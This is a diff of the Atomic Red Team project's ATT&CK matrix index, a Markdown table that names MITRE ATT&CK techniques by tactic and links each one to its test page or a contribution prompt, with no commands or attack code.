Exploitation of Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Clipboard Data](./T1115/T1115.md) | [Data Encrypted](./T1022/T1022.md) | [Connection Proxy](./T1090/T1090.md) | -| Hardware Additions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Control Panel Items](./T1196/T1196.md) | [AppInit DLLs](./T1103/T1103.md) | [AppInit DLLs](./T1103/T1103.md) | [Bypass User Account Control](./T1088/T1088.md) | [Credentials in Files](./T1081/T1081.md) | [Domain Trust Discovery](./T1482/T1482.md) | [Logon Scripts](./T1037/T1037.md) | [Data Staged](./T1074/T1074.md) | [Data Transfer Size Limits](./T1030/T1030.md) | Custom Command and Control Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Dynamic Data Exchange](./T1173/T1173.md) | [Application Shimming](./T1138/T1138.md) | [Application Shimming](./T1138/T1138.md) | [CMSTP](./T1191/T1191.md) | [Credentials in Registry](./T1214/T1214.md) | [File and Directory Discovery](./T1083/T1083.md) | [Pass the Hash](./T1075/T1075.md) | Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Exfiltration Over Alternative Protocol](./T1048/T1048.md) | Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| [Spearphishing Attachment](./T1193/T1193.md) | Execution through API [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Authentication Package [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Bypass User Account Control](./T1088/T1088.md) | Code Signing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Service Scanning](./T1046/T1046.md) | [Pass the Ticket](./T1097/T1097.md) | [Data from Local System](./T1005/T1005.md) | Exfiltration Over Command and Control Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Encoding](./T1132/T1132.md) | -| Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Execution through Module Load [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [BITS Jobs](./T1197/T1197.md) | [DLL Search Order Hijacking](./T1038/T1038.md) | Compile After Delivery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Forced Authentication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Share Discovery](./T1135/T1135.md) | [Remote Desktop Protocol](./T1076/T1076.md) | Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Client Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Bootkit [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Privilege Escalation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Compiled HTML File](./T1223/T1223.md) | [Hooking](./T1179/T1179.md) | [Network Sniffing](./T1040/T1040.md) | [Remote File Copy](./T1105/T1105.md) | Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Fronting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Graphical User Interface [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Browser Extensions](./T1176/T1176.md) | Extra Window Memory Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Component Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Input Capture](./T1056/T1056.md) | [Password Policy Discovery](./T1201/T1201.md) | Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Email Collection](./T1114/T1114.md) | Scheduled Transfer [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Generation Algorithms [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Trusted Relationship [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [InstallUtil](./T1118/T1118.md) | [Change Default File Association](./T1042/T1042.md) | File System Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Component Object Model Hijacking](./T1122/T1122.md) | [Input Prompt](./T1141/T1141.md) | Peripheral Device Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Input Capture](./T1056/T1056.md) | | Fallback Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | LSASS Driver [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Component Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Hooking](./T1179/T1179.md) | [Control Panel Items](./T1196/T1196.md) | Kerberoasting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Permission Groups Discovery](./T1069/T1069.md) | Shared Webroot [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Man in the Browser [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Multi-Stage Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | [Mshta](./T1170/T1170.md) | [Component Object Model Hijacking](./T1122/T1122.md) | [Image File Execution Options Injection](./T1183/T1183.md) | [DCShadow](./T1207/T1207.md) | LLMNR/NBT-NS Poisoning and Relay [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Process Discovery](./T1057/T1057.md) | Taint Shared Content [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Screen Capture](./T1113/T1113.md) | | Multi-hop Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | [PowerShell](./T1086/T1086.md) | [Create Account](./T1136/T1136.md) | [New Service](./T1050/T1050.md) | [DLL Search Order Hijacking](./T1038/T1038.md) | [Network Sniffing](./T1040/T1040.md) | [Query Registry](./T1012/T1012.md) | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Video Capture [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Multiband Communication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | [Regsvcs/Regasm](./T1121/T1121.md) | [DLL Search Order Hijacking](./T1038/T1038.md) | Path Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | DLL Side-Loading [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Password Filter DLL](./T1174/T1174.md) | [Remote System Discovery](./T1018/T1018.md) | [Windows Admin Shares](./T1077/T1077.md) | | | Multilayer Encryption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | [Regsvr32](./T1117/T1117.md) | External Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Port Monitors [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Deobfuscate/Decode Files or Information](./T1140/T1140.md) | [Private Keys](./T1145/T1145.md) | [Security Software Discovery](./T1063/T1063.md) | [Windows Remote Management](./T1028/T1028.md) | | | Remote Access Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | [Rundll32](./T1085/T1085.md) | File System Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Process Injection](./T1055/T1055.md) | [Disabling Security Tools](./T1089/T1089.md) | Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [System Information Discovery](./T1082/T1082.md) | | | | [Remote File Copy](./T1105/T1105.md) | -| | [Scheduled Task](./T1053/T1053.md) | [Hidden Files and Directories](./T1158/T1158.md) | SID-History Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Execution Guardrails [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [System Network Configuration Discovery](./T1016/T1016.md) | | | | [Standard Application Layer Protocol](./T1071/T1071.md) | -| | [Scripting](./T1064/T1064.md) | [Hooking](./T1179/T1179.md) | [Scheduled Task](./T1053/T1053.md) | Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [System Network Connections Discovery](./T1049/T1049.md) | | | | Standard Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | [Service Execution](./T1035/T1035.md) | [Hypervisor](./T1062/T1062.md) | Service Registry Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Extra Window Memory Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [System Owner/User Discovery](./T1033/T1033.md) | | | | Standard Non-Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | [Signed Binary Proxy Execution](./T1218/T1218.md) | [Image File Execution Options Injection](./T1183/T1183.md) | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [File Deletion](./T1107/T1107.md) | | [System Service Discovery](./T1007/T1007.md) | | | | [Uncommonly Used Port](./T1065/T1065.md) | -| | [Signed Script Proxy Execution](./T1216/T1216.md) | LSASS Driver [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Web Shell](./T1100/T1100.md) | [File Permissions Modification](./T1222/T1222.md) | | [System Time Discovery](./T1124/T1124.md) | | | | Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Logon Scripts](./T1037/T1037.md) | | File System Logical Offsets [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Virtualization/Sandbox Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | -| | [Trusted Developer Utilities](./T1127/T1127.md) | [Modify Existing Service](./T1031/T1031.md) | | Group Policy Modification [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | -| | User Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Netsh Helper DLL](./T1128/T1128.md) | | [Hidden Files and Directories](./T1158/T1158.md) | | | | | | | -| | [Windows Management Instrumentation](./T1047/T1047.md) | [New Service](./T1050/T1050.md) | | [Image File Execution Options Injection](./T1183/T1183.md) | | | | | | | -| | [Windows Remote Management](./T1028/T1028.md) | [Office Application Startup](./T1137/T1137.md) | | Indicator Blocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | -| | [XSL Script Processing](./T1220/T1220.md) | Path Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Indicator Removal from Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | -| | | Port Monitors [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Indicator Removal on Host](./T1070/T1070.md) | | | | | | | -| | | Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Indirect Command Execution](./T1202/T1202.md) | | | | | | | -| | | [Registry Run Keys / Startup Folder](./T1060/T1060.md) | | [Install Root Certificate](./T1130/T1130.md) | | | | | | | -| | | SIP and Trust Provider Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [InstallUtil](./T1118/T1118.md) | | | | | | | -| | | [Scheduled Task](./T1053/T1053.md) | | [Masquerading](./T1036/T1036.md) | | | | | | | -| | | [Screensaver](./T1180/T1180.md) | | [Modify Registry](./T1112/T1112.md) | | | | | | | -| | | [Security Support Provider](./T1101/T1101.md) | | [Mshta](./T1170/T1170.md) | | | | | | | +| Hardware Additions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Component Object Model and Distributed COM [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [AppInit DLLs](./T1103/T1103.md) | [AppInit DLLs](./T1103/T1103.md) | [Bypass User Account Control](./T1088/T1088.md) | Credentials from Web Browsers [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Domain Trust Discovery](./T1482/T1482.md) | Internal Spearphishing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Staged](./T1074/T1074.md) | [Data Transfer Size Limits](./T1030/T1030.md) | Custom Command and Control Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Control Panel Items](./T1196/T1196.md) | [Application Shimming](./T1138/T1138.md) | [Application Shimming](./T1138/T1138.md) | [CMSTP](./T1191/T1191.md) | [Credentials in Files](./T1081/T1081.md) | [File and Directory Discovery](./T1083/T1083.md) | [Logon Scripts](./T1037/T1037.md) | Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Exfiltration Over Alternative Protocol](./T1048/T1048.md) | Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| [Spearphishing Attachment](./T1193/T1193.md) | [Dynamic Data Exchange](./T1173/T1173.md) | Authentication Package [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Bypass User Account Control](./T1088/T1088.md) | Code Signing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Credentials in Registry](./T1214/T1214.md) | [Network Service Scanning](./T1046/T1046.md) | [Pass the Hash](./T1075/T1075.md) | [Data from Local System](./T1005/T1005.md) | Exfiltration Over Command and Control Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Encoding](./T1132/T1132.md) | +| Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Execution through API [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [BITS Jobs](./T1197/T1197.md) | [DLL Search Order Hijacking](./T1038/T1038.md) | Compile After Delivery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Share Discovery](./T1135/T1135.md) | [Pass the Ticket](./T1097/T1097.md) | Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Execution through Module Load [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Bootkit [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Privilege Escalation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Compiled HTML File](./T1223/T1223.md) | Forced Authentication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Sniffing](./T1040/T1040.md) | [Remote Desktop Protocol](./T1076/T1076.md) | Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Fronting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Client Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Browser Extensions](./T1176/T1176.md) | Extra Window Memory Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Component Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Hooking](./T1179/T1179.md) | [Password Policy Discovery](./T1201/T1201.md) | [Remote File Copy](./T1105/T1105.md) | [Email Collection](./T1114/T1114.md) | Scheduled Transfer [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Generation Algorithms [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Trusted Relationship [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Graphical User Interface [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Change Default File Association](./T1042/T1042.md) | File System Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Component Object Model Hijacking](./T1122/T1122.md) | [Input Capture](./T1056/T1056.md) | Peripheral Device Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Input Capture](./T1056/T1056.md) | | Fallback Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [InstallUtil](./T1118/T1118.md) | Component Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Hooking](./T1179/T1179.md) | [Connection Proxy](./T1090/T1090.md) | [Input Prompt](./T1141/T1141.md) | [Permission Groups Discovery](./T1069/T1069.md) | Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Man in the Browser [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Multi-Stage Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | LSASS Driver [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Component Object Model Hijacking](./T1122/T1122.md) | [Image File Execution Options Injection](./T1183/T1183.md) | [Control Panel Items](./T1196/T1196.md) | Kerberoasting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Process Discovery](./T1057/T1057.md) | Shared Webroot [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Screen Capture](./T1113/T1113.md) | | Multi-hop Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | [Mshta](./T1170/T1170.md) | [Create Account](./T1136/T1136.md) | [New Service](./T1050/T1050.md) | [DCShadow](./T1207/T1207.md) | LLMNR/NBT-NS Poisoning and Relay [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Query Registry](./T1012/T1012.md) | Taint Shared Content [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Video Capture [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Multiband Communication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | [PowerShell](./T1086/T1086.md) | [DLL Search Order Hijacking](./T1038/T1038.md) | Parent PID Spoofing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [DLL Search Order Hijacking](./T1038/T1038.md) | [Network Sniffing](./T1040/T1040.md) | [Remote System Discovery](./T1018/T1018.md) | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | Multilayer Encryption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | [Regsvcs/Regasm](./T1121/T1121.md) | External Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Path Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | DLL Side-Loading [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Password Filter DLL](./T1174/T1174.md) | [Security Software Discovery](./T1063/T1063.md) | [Windows Admin Shares](./T1077/T1077.md) | | | Remote Access Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | [Regsvr32](./T1117/T1117.md) | File System Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Port Monitors [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Deobfuscate/Decode Files or Information](./T1140/T1140.md) | [Private Keys](./T1145/T1145.md) | Software Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Windows Remote Management](./T1028/T1028.md) | | | [Remote File Copy](./T1105/T1105.md) | +| | [Rundll32](./T1085/T1085.md) | [Hidden Files and Directories](./T1158/T1158.md) | PowerShell Profile [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Disabling Security Tools](./T1089/T1089.md) | Steal Web Session Cookie [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [System Information Discovery](./T1082/T1082.md) | | | | [Standard Application Layer Protocol](./T1071/T1071.md) | +| | [Scheduled Task](./T1053/T1053.md) | [Hooking](./T1179/T1179.md) | [Process Injection](./T1055/T1055.md) | Execution Guardrails [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [System Network Configuration Discovery](./T1016/T1016.md) | | | | Standard Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | [Scripting](./T1064/T1064.md) | [Hypervisor](./T1062/T1062.md) | SID-History Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [System Network Connections Discovery](./T1049/T1049.md) | | | | Standard Non-Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | [Service Execution](./T1035/T1035.md) | [Image File Execution Options Injection](./T1183/T1183.md) | [Scheduled Task](./T1053/T1053.md) | Extra Window Memory Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [System Owner/User Discovery](./T1033/T1033.md) | | | | [Uncommonly Used Port](./T1065/T1065.md) | +| | [Signed Binary Proxy Execution](./T1218/T1218.md) | LSASS Driver [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Service Registry Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [File Deletion](./T1107/T1107.md) | | [System Service Discovery](./T1007/T1007.md) | | | | Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | [Signed Script Proxy Execution](./T1216/T1216.md) | [Logon Scripts](./T1037/T1037.md) | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | File System Logical Offsets [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [System Time Discovery](./T1124/T1124.md) | | | | | +| | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Modify Existing Service](./T1031/T1031.md) | [Web Shell](./T1100/T1100.md) | [File and Directory Permissions Modification](./T1222/T1222.md) | | Virtualization/Sandbox Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | +| | [Trusted Developer Utilities](./T1127/T1127.md) | [Netsh Helper DLL](./T1128/T1128.md) | | Group Policy Modification [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | User Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [New Service](./T1050/T1050.md) | | [Hidden Files and Directories](./T1158/T1158.md) | | | | | | | +| | [Windows Management Instrumentation](./T1047/T1047.md) | [Office Application Startup](./T1137/T1137.md) | | Hidden Window [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | [Windows Remote Management](./T1028/T1028.md) | Path Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Image File Execution Options Injection](./T1183/T1183.md) | | | | | | | +| | [XSL Script Processing](./T1220/T1220.md) | Port Monitors [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Indicator Blocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | | PowerShell Profile [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Indicator Removal from Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | | Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Indicator Removal on Host](./T1070/T1070.md) | | | | | | | +| | | [Registry Run Keys / Startup Folder](./T1060/T1060.md) | | [Indirect Command Execution](./T1202/T1202.md) | | | | | | | +| | | SIP and Trust Provider Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Install Root Certificate](./T1130/T1130.md) | | | | | | | +| | | [Scheduled Task](./T1053/T1053.md) | | [InstallUtil](./T1118/T1118.md) | | | | | | | +| | | [Screensaver](./T1180/T1180.md) | | [Masquerading](./T1036/T1036.md) | | | | | | | +| | | [Security Support Provider](./T1101/T1101.md) | | [Modify Registry](./T1112/T1112.md) | | | | | | | +| | | Server Software Component [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Mshta](./T1170/T1170.md) | | | | | | | | | | Service Registry Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [NTFS File Attributes](./T1096/T1096.md) | | | | | | | | | | Shortcut Modification [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Network Share Connection Removal](./T1126/T1126.md) | | | | | | | | | | System Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Obfuscated Files or Information](./T1027/T1027.md) | | | | | | | -| | | Time Providers [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Process Doppelgänging [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | -| | | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Process Hollowing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | -| | | [Web Shell](./T1100/T1100.md) | | [Process Injection](./T1055/T1055.md) | | | | | | | -| | | [Windows Management Instrumentation Event Subscription](./T1084/T1084.md) | | Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | -| | | [Winlogon Helper DLL](./T1004/T1004.md) | | [Regsvcs/Regasm](./T1121/T1121.md) | | | | | | | +| | | Time Providers [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Parent PID Spoofing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Process Doppelgänging [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | | [Web Shell](./T1100/T1100.md) | | Process Hollowing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | | [Windows Management Instrumentation Event Subscription](./T1084/T1084.md) | | [Process Injection](./T1055/T1055.md) | | | | | | | +| | | [Winlogon Helper DLL](./T1004/T1004.md) | | Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | | | | [Regsvcs/Regasm](./T1121/T1121.md) | | | | | | | | | | | | [Regsvr32](./T1117/T1117.md) | | | | | | | | | | | | [Rootkit](./T1014/T1014.md) | | | | | | | | | | | | [Rundll32](./T1085/T1085.md) | | | | | | |